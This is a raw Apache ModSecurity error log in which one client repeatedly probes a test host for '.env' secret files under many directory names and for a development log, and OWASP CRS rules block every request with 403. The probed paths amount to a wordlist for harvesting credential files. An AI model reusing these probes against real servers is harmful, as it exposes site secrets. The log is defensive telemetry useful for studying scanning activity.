[Mon Jul 28 20:46:12.895007 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MpkgAAAAY&quot;]
[Mon Jul 28 20:46:12.940425 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /libraries/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libraries/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MplAAAAAY&quot;]
[Mon Jul 28 20:46:12.940609 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libraries/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MplAAAAAY&quot;]
[Mon Jul 28 20:46:12.940775 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libraries/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MplAAAAAY&quot;]
[Mon Jul 28 20:46:12.971738 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /library/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Library/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MplQAAAAY&quot;]
[Mon Jul 28 20:46:12.971928 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Library/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MplQAAAAY&quot;]
[Mon Jul 28 20:46:12.972085 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Library/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MplQAAAAY&quot;]
[Mon Jul 28 20:46:12.993875 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /libs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MplgAAAAY&quot;]
[Mon Jul 28 20:46:12.994055 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MplgAAAAY&quot;]
[Mon Jul 28 20:46:12.994218 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aIfFdDL8UeZoGBgNh2MplgAAAAY&quot;]
[Mon Jul 28 20:46:13.061444 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /linux/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/linux/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpmQAAAAY&quot;]
[Mon Jul 28 20:46:13.061633 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/linux/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpmQAAAAY&quot;]
[Mon Jul 28 20:46:13.061795 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/linux/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpmQAAAAY&quot;]
[Mon Jul 28 20:46:13.106290 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /localhost/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localhost/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpmwAAAAY&quot;]
[Mon Jul 28 20:46:13.106482 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localhost/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpmwAAAAY&quot;]
[Mon Jul 28 20:46:13.106654 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localhost/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpmwAAAAY&quot;]
[Mon Jul 28 20:46:13.129394 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /locally/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/locally/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpnAAAAAY&quot;]
[Mon Jul 28 20:46:13.129574 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/locally/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpnAAAAAY&quot;]
[Mon Jul 28 20:46:13.129731 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/locally/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpnAAAAAY&quot;]
[Mon Jul 28 20:46:13.174189 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /log/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpngAAAAY&quot;]
[Mon Jul 28 20:46:13.174533 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpngAAAAY&quot;]
[Mon Jul 28 20:46:13.174719 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpngAAAAY&quot;]
[Mon Jul 28 20:46:13.196449 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/development.log&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpnwAAAAY&quot;]
[Mon Jul 28 20:46:13.196745 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/development.log&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpnwAAAAY&quot;]
[Mon Jul 28 20:46:13.196910 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/development.log&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpnwAAAAY&quot;]
[Mon Jul 28 20:46:13.218802 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /logging/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logging/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpoAAAAAY&quot;]
[Mon Jul 28 20:46:13.219013 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logging/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpoAAAAAY&quot;]
[Mon Jul 28 20:46:13.219186 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logging/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpoAAAAAY&quot;]
[Mon Jul 28 20:46:13.264310 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpogAAAAY&quot;]
[Mon Jul 28 20:46:13.264524 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpogAAAAY&quot;]
[Mon Jul 28 20:46:13.264704 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MpogAAAAY&quot;]
[Mon Jul 28 20:46:13.309307 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /logs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MppAAAAAY&quot;]
[Mon Jul 28 20:46:13.309504 2025] [:error] [pid 1534266] [client 185.177.72.201:36190] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.env&quot;] [unique_id &quot;aIfFdTL8UeZoGBgNh2MppAAAAAY&quot;]
